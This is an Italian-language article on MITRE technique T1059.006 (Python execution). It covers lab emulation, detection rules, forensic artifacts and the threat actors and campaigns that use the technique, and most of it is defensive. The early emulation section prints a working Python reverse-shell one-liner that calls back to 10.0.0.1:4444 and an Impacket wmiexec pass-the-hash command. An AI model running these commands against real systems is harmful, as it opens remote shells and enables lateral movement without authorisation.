Esecuzione Python: Command and Scripting Interpreter - Python (T1059.006)

Per simulare la tecnica in laboratorio, il punto di partenza è disporre di un target con Python 3.x installato — condizione soddisfatta di default su macOS, quasi tutte le distro Linux e le appliance basate su BSD/Linux. Su Windows l'interprete è spesso presente in ambienti sviluppo, DevOps o data science.

Per un reverse shell minimale in stile Cutting Edge, il payload classico sfrutta il modulo pty per ottenere un TTY interattivo su Linux/macOS:

python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'

Questa one-liner è funzionalmente equivalente a quanto osservato nella campagna ShadowRay contro istanze Ray esposte. Su Windows, sostituendo pty.spawn con subprocess.call(["cmd.exe"]) si ottiene lo stesso risultato.

Per catene più complete, i framework di riferimento sono SILENTTRINITY (open source), scritto in Python con moduli Boo.Lang per l'esecuzione .NET in-memory, e Pupy (open source), RAT multi-piattaforma con scriptlets personalizzabili. Entrambi permettono di testare TTP realistici in ambiente controllato. Per la generazione di shellcode eseguibile via Python è disponibile Donut (open source), che produce loader posizionali-indipendenti richiamabili tramite ctypes.

Per emulare UNC3886 su ESXi, l'attacco richiede accesso preesistente all'hypervisor. L'esecuzione avviene tramite la BusyBox shell embedded oppure caricando un interprete Python custom in /tmp/python/bin/. Uno script tipico enumera le VM guest via vim-cmd vmsvc/getallvms combinato con parsing Python dei file .vmx.

Per lateral movement in stile Cinnamon Tempest o RedCurl, la libreria Impacket (open source) fornisce wmiexec.py, smbexec.py e psexec.py — script Python che replicano la funzionalità di PsExec via SMB/WMI. Esempio:

python3 wmiexec.py -hashes :NTLMHASH domain/user@10.0.0.5

Per offuscazione e packaging, PyInstaller (open source) compila script in eseguibili standalone, replicando la tecnica di DropBook e Operation Wocao. Il flag --onefile --noconsole produce binari difficili da analizzare staticamente senza estrazione preventiva del PYZ archive tramite tool come pyinstxtractor (open source).

Per web shell in stile FRAMESTING o Neo-reGeorg (open source), il deploy richiede un server con supporto WSGI/CGI Python; il testing va condotto esclusivamente su appliance di laboratorio isolate.

La detection di T1059.006 si fonda su analisi comportamentale della lineage di processi e delle azioni post-esecuzione, poiché bloccare Python indiscriminatamente è raramente praticabile. Le fonti di log primarie sono Sysmon (open source) EventID 1 (Process Create) e 3 (Network Connection) su Windows, auditd con regole SYSCALL execve su Linux, l'Unified Log su macOS e i log vobd/hostd su ESXi.

Su Windows, l'indicatore comportamentale più affidabile è la parent-child anomaly: python.exe o py.exe con parent process appartenente alla suite Office (winword.exe, excel.exe, outlook.exe), oppure LOLBAS come mshta.exe, wscript.exe, regsvr32.exe. Una regola Sigma tipica correla EventID 1 con ParentImage Office e Image contenente python. Va monitorata anche l'esecuzione di script da percorsi utente (%APPDATA%, %TEMP%, %USERPROFILE%\Downloads) e la successiva creazione di child process sensibili come powershell.exe, cmd.exe o certutil.exe.

Su Linux, le regole auditd devono tracciare execve di /usr/bin/python3 con argomenti da directory tmp, esecuzioni da cron utente non standard e syscall ptrace originate da Python (indicatore di process injection). Correlare con connect() verso IP esterni su porte non-standard riduce i falsi positivi rispetto a normali package updates.

Su macOS, l'Unified Log tramite log stream --predicate 'process == "Python"' rivela invocazioni da Terminal, osascript chain e persistence writes in ~/Library/LaunchAgents. Le catene Python → bash → curl o Python → osascript sono altamente sospette e riflettono TTP di Bundlore, CookieMiner e Keydnap.

Su ESXi, dove Python non è presente di default in tutte le versioni, la sola presenza di un interprete in path non standard (/tmp/python/bin/python3) è di per sé un IOC forte, coerente con il TTP di UNC3886. Monitorare i log hostd per esecuzioni sotto utente root o account sconosciuti.

Dal lato preventivo, le mitigazioni MITRE M1033 (Limit Software Installation) e M1038 (Execution Prevention) suggeriscono di rimuovere Python dai sistemi che non lo richiedono operativamente e di applicare AppLocker o WDAC su Windows per denylistare python.exe nei contesti utente. M1047 (Audit) raccomanda inventari periodici via OSQuery (open source) o Wazuh (open source) per identificare installazioni non autorizzate.

I falsi positivi principali derivano da pipeline DevOps, notebook Jupyter, tool di amministrazione (Ansible, SaltStack) e software antivirus/EDR che embeddano Python. Baseline per utente, orario e host è indispensabile.

L'analisi forense di T1059.006 richiede correlazione tra artefatti di esecuzione, file system e memoria. La timeline tipica parte dall'identificazione del processo Python, prosegue con il recupero degli script eseguiti e culmina nell'analisi dei payload compilati.

Su Windows, i Prefetch files in C:\Windows\Prefetch\PYTHON.EXE-.pf* e PY.EXE-.pf* documentano esecuzioni recenti con timestamp e path degli script referenziati. Amcache.hve e ShimCache conservano tracce persistenti anche dopo la rimozione del binario. Per script eliminati, USN Journal e MFT permettono di ricostruire creation/deletion di file .py nelle directory sospette. Volatility (open source) con plugin cmdline e pslist estrae dalla memoria le linee di comando complete, spesso rivelando one-liner base64 non catturati dai log.

Per binari compilati con PyInstaller (come DropBook e i backdoor di Operation Wocao basati su py2exe), l'estrazione richiede pyinstxtractor (open source) per ottenere il PYZ archive, seguito da uncompyle6 o decompyle3 (open source) per il decompiling dei bytecode .pyc. Attenzione alle versioni: bytecode Python 3.10+ richiede tool aggiornati o pycdc (open source).

Su Linux, gli artefatti chiave sono /var/log/auth.log per invocazioni via sudo, il .bash_history per contesto interattivo, e i log auditd se configurati. I file cron utente (/var/spool/cron/crontabs/) e i systemd timer (~/.config/systemd/user/) vanno esaminati per persistence Python-based. Il file system procfs (/proc/[pid]/cmdline, /proc/[pid]/environ) fornisce contesto per processi ancora attivi.

Su macOS, FSEvents (parseable via FSEventsParser, open source) e l'Unified Log ricostruiscono l'esecuzione. Le directory ~/Library/LaunchAgents/ e /Library/LaunchDaemons/ contengono plist di persistence, spesso invocanti script Python. Il caso Keydnap documenta l'uso di script Python droppati in ~/Library/Application Support/.

Su ESXi, la forense è complicata dalla natura embedded del sistema. Focus su /var/log/shell.log per comandi interattivi, /var/log/hostd.log per operazioni API e datastore browser per file .py caricati in path anomali. Il TTP di UNC3886 prevede installazioni Python custom in /tmp/, quindi ispezione manuale di questa directory è essenziale.

Per campagne come Cutting Edge, gli artefatti includono modifiche al package CAV di Ivanti Connect Secure (dove FRAMESTING si annida) e log delle appliance stesse. Web shell Python-based come UPSTYLE, reGeorg e Neo-reGeorg lasciano tracce nei log HTTP/HTTPS del web server e nel file system del document root — hash e path noti sono catalogati nei feed di threat intelligence pubblici.

L'ecosistema di threat actor che sfruttano Python è geograficamente e motivazionalmente eterogeneo, riflettendo la portabilità e discretezza offerte dal linguaggio.

APT29 (attribuito a servizi russi, focus spionaggio governativo occidentale) ha sviluppato varianti malware in Python, integrando l'interprete nella propria toolchain accanto a strumenti .NET e PowerShell. Turla, altro attore russo di alto profilo, utilizza IronPython tramite il toolchain IronNetInjector per caricare payload via injector .NET — un approccio sofisticato che sfrutta l'implementazione Python su CLR per evadere detection focalizzate sul CPython classico.

Sul fronte cinese, l'ecosistema è particolarmente ricco. APT39 impiega utility CLI e network scanner Python. ZIRCONIUM utilizza impianti Python per interagire con host compromessi. Tonto Team, BRONZE BUTLER (Giappone come target principale) e Earth Lusca condividono l'uso di RAT Python-based e script per port scanning e reverse shell. UNC3886, attivo contro infrastrutture di virtualizzazione, ha portato la tecnica su ESXi utilizzando Python per enumerare host e VM guest — un TTP innovativo che sfrutta la crescente adozione di Python negli hypervisor moderni. Cinnamon Tempest ha customizzato Impacket wmiexec.py per lateral movement con file di output rinominati, tecnica ripresa anche da RedCurl per comunicazioni SMB su porta 445.

APT37 e Kimsuky (nordcoreani) usano Python rispettivamente per esecuzione payload e — nel caso di Kimsuky — per un impianto macOS specifico e per lo script MailFetcher.py dedicato alla raccolta email. Contagious Interview, attribuito alla galassia DPRK con focus su ingegneria sociale verso sviluppatori, distribuisce InvisibleFerret, malware Python che installa pacchetti e moduli aggiuntivi durante finti colloqui tecnici.

Dal lato iraniano, MuddyWater ha sviluppato tool proprietari come Out1, mentre APT39 condivide il pattern di utility Python. Nel panorama sudamericano, Machete rappresenta un caso emblematico: l'intero backdoor omonimo è scritto in Python, con script compilati distribuiti sulle vittime.

Le campagne documentate mostrano trend chiari. Operation Wocao (2017-2019, cinese) impiegava backdoor Python compilati con py2exe. Cutting Edge (2023-2024, UNC5221 cinese) ha combinato exploit zero-day Ivanti con reverse shell Python e il proxy SOCKS5 PySoxy. ShadowRay (2023-2024) ha inaugurato lo sfruttamento in-the-wild di infrastrutture AI, usando il modulo pty per reverse shell su istanze Ray esposte. Salesforce Data Exfiltration (UNC6040/UNC6240, 2024-2025) dimostra che anche attori financially-motivated adottano applicazioni Python custom per estrazione dati SaaS su larga scala.

Il trend prevalente è la convergenza: Python è ormai lingua franca dell'offensive tooling, adottato indistintamente da spionaggio statale, cybercrime ed extortion group.

MITRE ATT&CK T1059.006 (Command and Scripting Interpreter: Python), tattica TA0002. Campagne C0014 (Operation Wocao), C0029 (Cutting Edge), C0045 (ShadowRay), C0059 (Salesforce Data Exfiltration). Mitigazioni M1033, M1038, M1047, M1049. Detection analytics AN0172-AN0175. MITRE D3FEND per mapping tecniche difensive Detect/Harden. Integrata conoscenza professionale su tool open source (Sysmon, auditd, Volatility, Impacket, PyInstaller, pyinstxtractor, OSQuery, Wazuh, Donut, SILENTTRINITY, Pupy) e artefatti forensi standard di Windows, Linux, macOS ed ESXi.